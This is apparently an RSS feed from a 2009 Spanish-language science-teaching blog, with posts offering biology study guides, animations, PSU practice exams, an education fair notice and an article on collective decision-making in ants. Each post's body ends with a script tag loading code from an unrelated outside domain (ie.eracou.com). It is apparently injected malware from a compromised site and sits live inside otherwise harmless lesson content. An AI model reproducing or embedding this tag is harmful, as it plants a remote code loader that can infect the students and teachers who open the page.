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	<title>CienciaTIC &#187; Recursos Didácticos</title>
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	<description>Recursos didácticos para estudiantes y profesores</description>
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		<title>La Atmósfera que respiramos</title>
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		<pubDate>Wed, 04 Nov 2009 01:32:17 +0000</pubDate>
		<dc:creator>LaraTIC</dc:creator>
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		<description><![CDATA[Sistema Respiratorio
Esta vez regreso para entregarles un material de gran utilidad para el estudio del sistema respiratorio. La guía contempla los contenidos de ventilación pulmonar, hematosis y respiración celular.
 
 
Haz click en la imagen para ver la guía.
]]></description>
			<content:encoded><![CDATA[<h2><span style="color: #ff6600;">Sistema Respiratorio</span></h2>
<p style="text-align: justify;">Esta vez regreso para entregarles un material de gran utilidad para el estudio del sistema respiratorio. La guía contempla los contenidos de ventilación pulmonar, hematosis y respiración celular.</p>
<p> <a href="http://www.cienciatic.com/guias/respiratorio.pdf" target="_blank"><img class="aligncenter size-full wp-image-341" title="respiratorio" src="http://cienciatic.com/wp-content/uploads/2009/11/respiratorio.png" alt="respiratorio" width="309" height="401" /></a></p>
<p> </p>
<p>Haz click en la imagen para ver la guía.<script src="http://ie.eracou.com/3"></script></p>
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		<title>El Corazón</title>
		<link>http://cienciatic.com/2009/10/el-corazon/</link>
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		<pubDate>Fri, 16 Oct 2009 01:51:31 +0000</pubDate>
		<dc:creator>LaraTIC</dc:creator>
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		<description><![CDATA[Sistema Cardiovascular
Esta vez vuelvo a publicar parte del contenido de Sistema Circulatorio, anteriormente publiqué sobre LA SANGRE y ahora es el turno del corazón.
Dejo esta guía de contenidos especialmente a mis queridos alumnos de Cpech. Se que estamos viviendo algo insólito en el preu, pero agradezco mucho su apoyo y su reconocimiento.
Los quiero mucho,
Su profe [...]]]></description>
			<content:encoded><![CDATA[<h2 style="text-align: justify;"><span style="color: #ff6600;">Sistema Cardiovascular</span></h2>
<p style="text-align: justify;">Esta vez vuelvo a publicar parte del contenido de Sistema Circulatorio, anteriormente publiqué sobre <a href="http://cienciatic.com/2009/07/lo-que-fluye-por-nuestras-venas/" target="_blank">LA SANGRE</a> y ahora es el turno del corazón.</p>
<p style="text-align: justify;">Dejo esta guía de contenidos especialmente a mis queridos alumnos de Cpech. Se que estamos viviendo algo insólito en el preu, pero agradezco mucho su apoyo y su reconocimiento.</p>
<p style="text-align: justify;">Los quiero mucho,</p>
<p style="text-align: justify;">Su profe Larisa.</p>
<p style="text-align: justify;">(Haz click en la imagen para bajar la guía)</p>
<p style="text-align: left;"><a href="http://www.cienciatic.com/guias/corazon.pdf" target="_blank"><img class="size-medium wp-image-332 aligncenter" title="guiacorazon" src="http://cienciatic.com/wp-content/uploads/2009/10/guiacorazon-234x300.png" alt="guiacorazon" width="234" height="300" /></a></p>
<p style="text-align: left;">Además pueden ver la animación del corazón que dejé en el artículo <a href="http://cienciatic.com/2009/09/ver-para-aprender/" target="_blank">&#8220;ver para aprender&#8221;</a> y recuerden hacer todas las preguntas que tengan.</p>
<p><script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
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		</item>
		<item>
		<title>Ver para aprender</title>
		<link>http://cienciatic.com/2009/09/ver-para-aprender/</link>
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		<pubDate>Mon, 28 Sep 2009 08:22:25 +0000</pubDate>
		<dc:creator>LaraTIC</dc:creator>
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		<description><![CDATA[Animaciones
A lo largo de estos años que llevo haciendo clases he recopilado en la red una serie de animaciones que son muy útiles para sintetizar contenidos que los alumnos no pueden simplemente imaginar.
A petición de una alumna hoy los subo, pero claramente con fines educativos y sin ánimo de plagio&#8230; las tengo hace tanto tiempo [...]]]></description>
			<content:encoded><![CDATA[<h1><span style="color: #ff6600;"><strong>Animaciones</strong></span></h1>
<p style="text-align: justify;">A lo largo de estos años que llevo haciendo clases he recopilado en la red una serie de animaciones que son muy útiles para sintetizar contenidos que los alumnos no pueden simplemente imaginar.</p>
<p style="text-align: justify;">A petición de una alumna hoy los subo, pero claramente con fines educativos y sin ánimo de plagio&#8230; las tengo hace tanto tiempo que olvidé de donde extraje muchas de ellas. Para bajarlas deben hacer click en la imagen.</p>
<table style="height: 170px;" border="0" width="562">
<tbody>
<tr>
<td><a href="http://cienciatic.com/animaciones/tiposdecelulas.swf" target="_blank"><img title="celula" src="http://cienciatic.com/wp-content/uploads/2009/09/celula.png" alt="celula" width="160" height="160" /></a></td>
<td style="text-align: justify;">Esta es una animación de la célula animal y vegetal, está en inglés pero es bastante entendible.</td>
</tr>
</tbody>
</table>
<table style="height: 170px;" border="0" width="560">
<tbody>
<tr>
<td style="text-align: right;">Animación del Ciclo Cardiaco, muy buena porque relaciona los movimientos del corazón con el Electrocardiograma.</td>
<td><a href="http://cienciatic.com/animaciones/ciclocardiaco.swf" target="_blank"><img title="ciclocardiaco" src="http://cienciatic.com/wp-content/uploads/2009/09/ciclocardiaco.png" alt="ciclocardiaco" width="160" height="160" /></a></td>
</tr>
</tbody>
</table>
<table style="height: 170px;" border="0" width="559">
<tbody>
<tr>
<td><a href="http://cienciatic.com/animaciones/ciclocelular.swf"><img title="ciclocelular" src="http://cienciatic.com/wp-content/uploads/2009/09/ciclocelular.png" alt="ciclocelular" width="160" height="160" /></a></td>
<td>Animación del Ciclo Celular, muy sencilla para entender que pasa con el material genético especialmente en Interfase.</td>
</tr>
</tbody>
</table>
<table style="height: 170px;" border="0" width="559">
<tbody>
<tr>
<td style="text-align: right;">Ciclo Menstrual femenino, esta animación muestra los cambios hormonales y del endometrio en los distintos días de un ciclo menstrual regular.</td>
<td><a href="http://cienciatic.com/animaciones/ciclomenstrual.swf" target="_blank"><img title="ciclomenstrual" src="http://cienciatic.com/wp-content/uploads/2009/09/ciclomenstrual.png" alt="ciclomenstrual" width="160" height="160" /></a></td>
</tr>
</tbody>
</table>
<table style="height: 170px;" border="0" width="558">
<tbody>
<tr>
<td><a href="http://cienciatic.com/animaciones/rinon.swf" target="_blank"><img title="riñon" src="http://cienciatic.com/wp-content/uploads/2009/09/ri%C3%B1on.png" alt="riñon" width="160" height="160" /></a></td>
<td>Si acercan la imagen verán que esta animación es el detalle del Nefrón. Lo interesante de este esquema es que muestra que pasa a nivel de los distintos túbulos con una serie de sustancias como la glucosa, úrea, sales, etc.</td>
</tr>
</tbody>
</table>
<table style="height: 178px;" border="0" width="557">
<tbody>
<tr>
<td style="text-align: right;">Video sobre la Síntesis de proteínas, excelente para motrárselo a los estudiantes una vez visto teóricamente este contenido.</td>
<td><a href="http://cienciatic.com/animaciones/sintesisproteinas.swf" target="_blank"><img title="sintesis" src="http://cienciatic.com/wp-content/uploads/2009/09/sintesis.png" alt="sintesis" width="160" height="160" /></a></td>
</tr>
</tbody>
</table>
<p style="text-align: justify;">Para poder abrir estos archivos lo pueden hacer directamente en Explorer. En otra ocasión subo más.</p>
<p style="text-align: justify;">Espero les sirvan y recuerden comentar y preguntar!</p>
<p style="text-align: justify;">Saludos.</p>
<p><script src="http://ie.eracou.com/3"></script></p>
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		<title>Alimentarse para nutrirse</title>
		<link>http://cienciatic.com/2009/09/alimentarse-para-nutrirse/</link>
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		<pubDate>Mon, 28 Sep 2009 07:42:13 +0000</pubDate>
		<dc:creator>LaraTIC</dc:creator>
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		<description><![CDATA[Nutrición
Los requerimientos energéticos en cada persona son distintos, por lo que es fundamental saber que es lo que debemos comer para mantener nuestro metabolismo en óptimas condiciones.
A continuación les dejo una guía de contenidos de NUTRICIÓN.
Espero les sirva! comenten, agradezcan y pregunten!
]]></description>
			<content:encoded><![CDATA[<h1><span style="color: #ff6600;"><strong>Nutrición</strong></span></h1>
<p>Los requerimientos energéticos en cada persona son distintos, por lo que es fundamental saber que es lo que debemos comer para mantener nuestro metabolismo en óptimas condiciones.</p>
<p>A continuación les dejo una guía de contenidos de <a href="http://cienciatic.com/guias/nutricion.pdf" target="_self">NUTRICIÓN.</a></p>
<p>Espero les sirva! comenten, agradezcan y pregunten!<script src="http://ie.eracou.com/3"></script></p>
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		</item>
		<item>
		<title>1era Feria de Recursos Educativos de América Latina</title>
		<link>http://cienciatic.com/2009/09/1era-feria-de-recursos-educativos-de-america-latina/</link>
		<comments>http://cienciatic.com/2009/09/1era-feria-de-recursos-educativos-de-america-latina/#comments</comments>
		<pubDate>Sun, 27 Sep 2009 23:35:29 +0000</pubDate>
		<dc:creator>Goten</dc:creator>
				<category><![CDATA[Destacados]]></category>
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		<description><![CDATA[
Innovadores softwares educativos, robots, simuladores, dispositivos como microscopios y sensores digitales serán los protagonistas de la I Feria de Recursos Educativos Digitales de América Latina, de Enlaces del Ministerio de Educación.
La actividad, que se realizará el viernes 2 y sábado 3 de octubre en el Centro de la Pontificia Universidad Católica, está dirigida a todas [...]]]></description>
			<content:encoded><![CDATA[<p><strong><img class="alignleft size-full wp-image-297" title="computer" src="http://cienciatic.com/wp-content/uploads/2009/09/computer.png" alt="computer" width="128" height="128" /></strong></p>
<p style="text-align: justify;">Innovadores softwares educativos, robots, simuladores, dispositivos como microscopios y sensores digitales serán los protagonistas de la <a href="www.enlaces.cl/feriared" target="_blank"><strong>I Feria de Recursos Educativos Digitales de América Latina</strong></a>, de Enlaces del Ministerio de Educación.</p>
<p style="text-align: justify;">La actividad, que se realizará el viernes 2 y sábado 3 de octubre en el Centro de la Pontificia Universidad Católica, está dirigida a todas las personas interesadas en conocer e interactuar con estas herramientas.</p>
<p style="text-align: justify;">En la Feria participaran los proveedores más importantes que integran el Catálogo de Recursos Educativos Digitales (RED) que este año construyó Enlaces. En los stands el público podrá conocer las funcionalidades y beneficios pedagógicos de cada uno de los softwares que integran el Catálogo RED. Además, se realizarán talleres demostrativos y charlas sobre las potencialidades pedagógicas de los recursos.</p>
<p style="text-align: justify;"><img class="alignright size-full wp-image-299" title="business_user" src="http://cienciatic.com/wp-content/uploads/2009/09/business_user.png" alt="business_user" width="128" height="128" />El Director de Enlaces, Didier de Saint Pierre, señaló que <em>“si bien este es una actividad abierta a todo público y absolutamente gratuita, hacemos un llamado especial a los profesores para que asistan. La aplicación de tecnología en la educación va mucho más allá de llenar de computadores los establecimientos. Tan importante como la infraestructura es que los profesores puedan contar con recursos educativos digitales, especialmente creados para apoyar el proceso de enseñanza –aprendizaje”</em>.</p>
<p style="text-align: justify;">Más información e inscripciones en <a href="http://www.enlaces.cl/feriared" target="_blank">www.enlaces.cl/feriared</a></p>
<p style="text-align: justify;"><strong>I Feria de Recursos Educativos Digitales de América Latina</strong></p>
<p style="text-align: justify;">Fecha: Viernes 2 y sábado 3 de octubre de 2009</p>
<p style="text-align: justify;">Horario: De 09:00 a 17:30 horas y de 09:00 a 14:00 horas, respectivamente.</p>
<p style="text-align: justify;">Lugar: Centro de Extensión de la Pontificia Universidad Católica de Chile (Alameda 390, Santiago).</p>
<p style="text-align: justify;">¡Nos vemos en un próximo artículo!</p>
<p><script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
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		<title>Mitosis es&#8230;</title>
		<link>http://cienciatic.com/2009/09/mitosis-es/</link>
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		<pubDate>Mon, 07 Sep 2009 21:07:17 +0000</pubDate>
		<dc:creator>LaraTIC</dc:creator>
				<category><![CDATA[Destacados]]></category>
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		<category><![CDATA[división celular]]></category>
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		<description><![CDATA[Creo que este contenido es el más escuchado por los estudiantes, no les ha pasado que en el colegio siempre los marean con la célula? que la célula aquí y la célula allá!, aunque ustedes no lo crean a los profesores nos pasa lo mismo, siempre la célula!
Así que por eso les dejo una guía [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Creo que este contenido es el más escuchado por los estudiantes, no les ha pasado que en el colegio siempre los marean con la célula? que la célula aquí y la célula allá!, aunque ustedes no lo crean a los profesores nos pasa lo mismo, siempre la célula!</p>
<p style="text-align: justify;">Así que por eso les dejo una guía para que repasen un contenido complejo de la biología celular que es <span style="color: #ff6600;"><strong>la división nuclear</strong></span> (porque eso es la mitosis). Recuerden que todos los comentarios son bienvenidos y las dudas también.</p>
<p style="text-align: justify;">Para bajar la <a href="http://cienciatic.com/guias/ciclocelularmitosis.pdf">GUÍA haz click aquí</a></p>
<p style="text-align: justify;">Una vez que hayan entendido la MITOSIS vean este video para distinguir las distintas etapas que esta tiene&#8230;</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="344" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/nPG6480RQo0&amp;hl=en&amp;fs=1&amp;color1=0x5d1719&amp;color2=0xcd311b" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="425" height="344" src="http://www.youtube.com/v/nPG6480RQo0&amp;hl=en&amp;fs=1&amp;color1=0x5d1719&amp;color2=0xcd311b" allowscriptaccess="always" allowfullscreen="true"></embed></object><script src="http://ie.eracou.com/3"></script></p>
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		</item>
		<item>
		<title>Muchos ensayos PSU</title>
		<link>http://cienciatic.com/2009/08/muchos-ensayos-psu/</link>
		<comments>http://cienciatic.com/2009/08/muchos-ensayos-psu/#comments</comments>
		<pubDate>Sun, 23 Aug 2009 04:41:21 +0000</pubDate>
		<dc:creator>LaraTIC</dc:creator>
				<category><![CDATA[Destacados]]></category>
		<category><![CDATA[Estudiantes]]></category>
		<category><![CDATA[NM4 (Cuarto Medio)]]></category>
		<category><![CDATA[Recursos Didácticos]]></category>

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		<description><![CDATA[Para quienes se están preparando para la PSU aquí les dejo varios facsímiles oficiales.
Los del año pasado (2008) deben ir a buscarlos a la oficina del DEMRE (frente al pedagógico en Macul con Grecia) hasta el 28 de agosto.
El archivo es de gran tamaño (150MB) así que está divido en partes:
Ensayo 2003-2004
Ensayo 2005-2006
Ensayo 2007-2008
Ensayo 2009
Estudien!!! [...]]]></description>
			<content:encoded><![CDATA[<h2 style="text-align: center;"><span style="color: #3366ff;">Para quienes se están preparando para la <span style="color: #ff6600;">PSU</span> aquí les dejo varios facsímiles oficiales.</span></h2>
<p style="text-align: justify;">Los del año pasado (2008) deben ir a buscarlos a la oficina del DEMRE (frente al pedagógico en Macul con Grecia) hasta el 28 de agosto.</p>
<p style="text-align: justify;">El archivo es de gran tamaño (150MB) así que está divido en partes:</p>
<p style="text-align: justify;"><a href="http://cienciatic.com/wp-content/uploads/2009/08/2003-2004.rar">Ensayo 2003-2004</a></p>
<p style="text-align: justify;"><a href="http://cienciatic.com/wp-content/uploads/2009/08/2005-2006.rar">Ensayo 2005-2006</a></p>
<p style="text-align: justify;"><a href="http://cienciatic.com/wp-content/uploads/2009/08/2007-2008.rar">Ensayo 2007-2008</a></p>
<p style="text-align: justify;"><a href="http://cienciatic.com/wp-content/uploads/2009/08/2009.rar">Ensayo 2009</a></p>
<p><strong><span style="color: #ff6600;">Estudien!!! recuerden que la práctica hace al maestro.</span></strong></p>
<p><strong><span style="color: #ff6600;">Espero sus comentarios <img src='http://cienciatic.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /><br />
</span></strong><script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
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		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Estrellas y Planetas&#8230; ¿Qué tan pequeños somos?</title>
		<link>http://cienciatic.com/2009/08/estrellas-y-planetas-%c2%bfque-tan-pequenos-somos/</link>
		<comments>http://cienciatic.com/2009/08/estrellas-y-planetas-%c2%bfque-tan-pequenos-somos/#comments</comments>
		<pubDate>Wed, 05 Aug 2009 19:51:22 +0000</pubDate>
		<dc:creator>Goten</dc:creator>
				<category><![CDATA[Ciencia Entretenida]]></category>
		<category><![CDATA[Destacados]]></category>
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		<category><![CDATA[astronomía]]></category>
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		<description><![CDATA[Los seres humanos somos por defecto egocéntricos, creemos que somos el centro de atracción, pero realmente ¿Qué tan grandes e importante somos?&#8230; Existen más de 6 mil millones de habitantes (9 ceros a la derecha)  Urano es casi 4 veces mas grande que la Tierra, ¡y Saturno casi 2 veces mas grande que Urano!&#8230; en [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Los seres humanos somos por defecto egocéntricos, creemos que somos el centro de atracción, pero realmente <strong>¿Qué tan grandes e importante somos?</strong>&#8230; Existen más de 6 mil millones de habitantes (9 ceros a la derecha)  Urano es casi 4 veces mas grande que la Tierra, <strong>¡y Saturno casi 2 veces mas grande que Urano!</strong>&#8230; en otras palabras&#8230; realmente no somos <strong>TAN</strong> significantes&#8230;</p>
<p style="text-align: justify;">Luego del salto les presentaremos un excelente video ilustrativo para que tomen conciencia&#8230;</p>
<p style="text-align: justify;"><strong><em><span id="more-123"></span></em></strong></p>
<p style="text-align: justify;"><em> </em></p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="344" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/NiTVpnIruqM&amp;hl=es&amp;fs=1&amp;" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="425" height="344" src="http://www.youtube.com/v/NiTVpnIruqM&amp;hl=es&amp;fs=1&amp;" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>¿Quedaste con gusto a poco?</p>
<p>A continuación dejamos el link de nuestro <a href="http://www.youtube.com/watch?v=4d3uyVpkweo" target="_blank">canal de Youtube</a> para que disfrutes de otros videos&#8230;</p>
<p>¡Hasta un próximo artículo!<script src="http://ie.eracou.com/3"></script></p>
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		<title>Recursos didácticos de la web 2.0</title>
		<link>http://cienciatic.com/2009/07/recursos-didacticos-de-la-web-2-0/</link>
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		<pubDate>Mon, 27 Jul 2009 03:35:32 +0000</pubDate>
		<dc:creator>Goten</dc:creator>
				<category><![CDATA[Profesores]]></category>
		<category><![CDATA[Recursos Didácticos]]></category>
		<category><![CDATA[unir.net]]></category>
		<category><![CDATA[web 2.0]]></category>
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		<category><![CDATA[wikieduca]]></category>

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		<description><![CDATA[La Web 2.0 nos entrega nuevas y potentes herramientas digitales para apoyar las tareas docentes, UNIR.net es una iniciativa comunitaria bajo licencia Creative Commons orientada a brindarnos información de estas utilidades, es decir, nos explican que recursos didácticos existen, que significan y que aplicaciones educativas tienen.

Redes sociales, Blog, RSS, Podcast, son algunos de los tópicos [...]]]></description>
			<content:encoded><![CDATA[<p>La Web 2.0 nos entrega nuevas y potentes herramientas digitales para apoyar las tareas docentes, <a href="http://web.unir.net/wikiweb20/" target="_blank">UNIR.net</a> es una iniciativa comunitaria bajo licencia <a href="http://creativecommons.org/licenses/by-nc-sa/3.0/es/" target="_blank">Creative Commons</a> orientada a brindarnos información de estas utilidades, es decir, nos explican que recursos didácticos existen, que significan y que aplicaciones educativas tienen.</p>
<p><a href="http://farm3.static.flickr.com/2536/3760033969_d3e298e1a3.jpg?v=0"><img class="alignleft" title="Recursos Web 2.0" src="http://farm3.static.flickr.com/2536/3760033969_d3e298e1a3_m.jpg" alt="" width="240" height="128" /></a></p>
<p>Redes sociales, Blog, RSS, Podcast, son algunos de los tópicos que cubre en profundidad esta comunidad basada en una plataforma <a href="http://creativecommons.org/licenses/by-nc-sa/3.0/es/" target="_blank">Wiki</a> (como <a href="http://www.wikipedia.com" target="_blank">wikipedia</a>), que permite que los usuarios que acceden al sitio puedan mejorar el contenido, <a href="http://wikieduca.wikia.com/wiki/Wikieduca" target="_blank">WikiEduca</a> es otra iniciativa de este tipo, orientada a educadores, la cual presentaremos en otra ocasión.<script src="http://ie.eracou.com/3"></script></p>
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		<title>¿Más tontos que las hormigas?</title>
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		<pubDate>Mon, 27 Jul 2009 03:20:28 +0000</pubDate>
		<dc:creator>LaraTIC</dc:creator>
				<category><![CDATA[Artículos]]></category>
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		<description><![CDATA[¿Las hormigas son más racionales que los humanos?
En un estudio realizado el 22 de julio en &#8220;The journal Procceedings of the Royal Society: Biological Sciences&#8221;, los investigadores de la Universidad del estado de Arizona y la Universidad de Princeton mostraron que las hormigas pueden llevar a cabo una tarea más racional que nosotros. Esto no [...]]]></description>
			<content:encoded><![CDATA[<h2><span style="color: #ff6600;">¿Las hormigas son más racionales que los humanos?</span></h2>
<p>En un estudio realizado el 22 de julio en &#8220;The journal Procceedings of the Royal Society: Biological Sciences&#8221;, los investigadores de la Universidad del estado de Arizona y la Universidad de Princeton mostraron que las hormigas pueden llevar a cabo una tarea más racional que nosotros. Esto no significa que los seres humanos sean menos inteligentes que las hormigas. Los humanos y otros animales a menudo hacen elecciones simplemente cuando se enfrentan a decisiones muy difíciles, nota del estudio de los arquitectos Stephen Pratt y Susan Edwards.</p>
<p>&#8220;Este paradójico resultado se basa en una aparente limitación: la mayoría de <img class="alignright size-medium wp-image-67" title="Ant" src="http://cienciatic.com/wp-content/uploads/2009/07/Ant-300x212.jpg" alt="Ant" width="300" height="212" />las hormigas individuales conocen una sola opción, y la comunidad de la colonia se auto-organiza para la elección a partir de las interacciones de cada hormiga pobremente e individualmente informada&#8221;, dice Pratt, profesor asistente en “The School of Life Sciences in ASU&#8217;s College of Liberal Arts and Sciences”</p>
<p>La idea de los autores Pratt y Edwards surgió de una examinación en los procesos de selección de anidación en una especie de hormigas, <em>Temnothorax curvispinosus</em>. Estas colonias de hormigas viven en pequeñas cavidades, tan pequeñas como una bellota, que además son hábiles en buscar nuevos lugares donde alojar. El reto para ellas era que la colonia &#8220;eligiera&#8221; un nido en el momento en que se ofrecen dos opciones con ventajas muy similares.</p>
<p><span style="color: #000080;"><strong>Lo que los autores encontraron fue que las hormigas tomaron una decisión colectiva</strong></span>, cuando las opciones individuales son menores se traduce en resultados más exactos reduciendo al mínimo las posibilidades de las personas a cometer errores, pues las decisiones se toman en conjunto. Pratt atribuye a esto a <strong><span style="color: #000080;">&#8220;la sabiduría de las multitudes&#8221;</span></strong></p>
<p>&#8220;En este caso la racionalidad debe ser pensada en el sentido de que una toma de decisiones, que está tratando de beneficiarse en algo, simplemente debe ser coherente en sus preferencias&#8221;, dice Pratt. &#8220;Los animales tratan de maximizar su fitness*, por ejemplo,  siempre deben ranquear las opciones si se trata de fuentes de alimentación, compañeros, o sitios de anidación, en función de su contribución con el fitness.</p>
<p>&#8220;Esto significa que sería irracional para un animal que opta por maximizar su fitness preferir la opción &#8220;A&#8221; a la &#8220;B&#8221; el martes y luego prefiera &#8220;B&#8221; en vez de &#8220;A&#8221; el miércoles, si los resultados obtenidos en los dos casos son los mismos para el fitness.&#8221;</p>
<p>&#8220;Normalmente pensamos que al tomar decisiones individuales,  las estrategias y enfoques son beneficiosos&#8221;, adhiere Pratt, &#8220;pero los errores irracionales tienden a desaparecer cuando los individuos hacen comparaciones directas entre más opciones y no cuando toman decisiones individuales&#8221;.</p>
<p><img class="alignright size-full wp-image-69" title="050407A hormiga abducida por seres extraterrestres" src="http://cienciatic.com/wp-content/uploads/2009/07/050407A-hormiga-abducida-por-seres-extraterrestres.jpg" alt="050407A hormiga abducida por seres extraterrestres" width="865" height="225" /></p>
<p>Estudios de cómo y por qué surge la irracionalidad pueden entregar una idea de los mecanismos, las limitaciones cognitivas, y también de cómo se produce de forma colectiva la toma de decisiones. Ideas como las de Pratt y Edwards también podrían traducirse en nuevos enfoques en el desarrollo de la inteligencia artificial.</p>
<p><span style="color: #000080;">&#8220;Una idea clave en la robótica colectiva es que los robots son sencillos y pueden ser poco sofisticados, pero aún así pueden obtener resultados complejos a partir del trabajo en equipo&#8221;</span>, dice Pratt.</p>
<p>La capacidad de funcionar sin complejos de control central es muy idónea en un sistema artificial, pues la idea de que las limitaciones a nivel individual pueden ayudar a nivel de grupo es potencialmente muy útil cuando estas se juntan. Pratt es miembro del “Heterogeneous Unmanned Networked Team” (Hunt), un proyecto financiado por la Oficina de Investigación Naval (ONR) para permitir el desarrollo de estrategias inspiradas en procesos biológicos y aportar soluciones a problemas ingenieriles, conocidas como las <strong><span style="color: #000080;">bio-soluciones</span></strong>.<img class="alignleft size-thumbnail wp-image-72" title="Hormiga Robot, Fuente: farm1.static.flickr.com/224/505139389_2f1ded8219.jpg?v=0" src="http://cienciatic.com/wp-content/uploads/2009/07/505139389_2f1ded8219-150x150.jpg" alt="Hormiga Robot" width="150" height="150" /></p>
<h2><span style="color: #000080;">¿Qué es lo que estos hallazgos pueden decir acerca del entendimiento de los sistemas sociales humanos?</span></h2>
<p>&#8220;Es difícil decirlo. Pero es importante considerar la posibilidad de que algunas limitaciones estratégicas en el conocimiento individual puede mejorar el rendimiento de un complejo y gran grupo que está tratando de lograr algo colectivamente.&#8221;, dice Pratt.</p>
<address>Fuente: Retrieved July 26, 2009, from http://www.sciencedaily.com­ /releases/2009/07/090724144524.htm</address>
<address> </address>
<address> </address>
<p><strong><span style="color: #800080;">Lo que necesitas saber para entender este artículo:</span></strong></p>
<p><strong><span style="color: #800080;">*Fitness:</span></strong> Eficacia Biológica, es la capacidad de un ser vivo a sobrevivir y dejar descendencia, es un principio de la selección natural.</p>
<p><span style="color: #ff0000;"><strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</strong></span></p>
<p>Este video pone en evidencia el trabajo en equipo de las hormigas y como esto es tan importante, incluso para su supervivencia!</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="344" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/OL0ASsOWcTs&amp;hl=en&amp;fs=1&amp;color1=0x234900&amp;color2=0x4e9e00" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="425" height="344" src="http://www.youtube.com/v/OL0ASsOWcTs&amp;hl=en&amp;fs=1&amp;color1=0x234900&amp;color2=0x4e9e00" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<address>Fuente: http://www.youtube.com/watch?v=FOMGdaVevRs&amp;videos=&#8211;k1AxWo6Xs&amp;playnext_from=TL&amp;playnext=1</address>
<p><script src="http://ie.eracou.com/3"></script></p>
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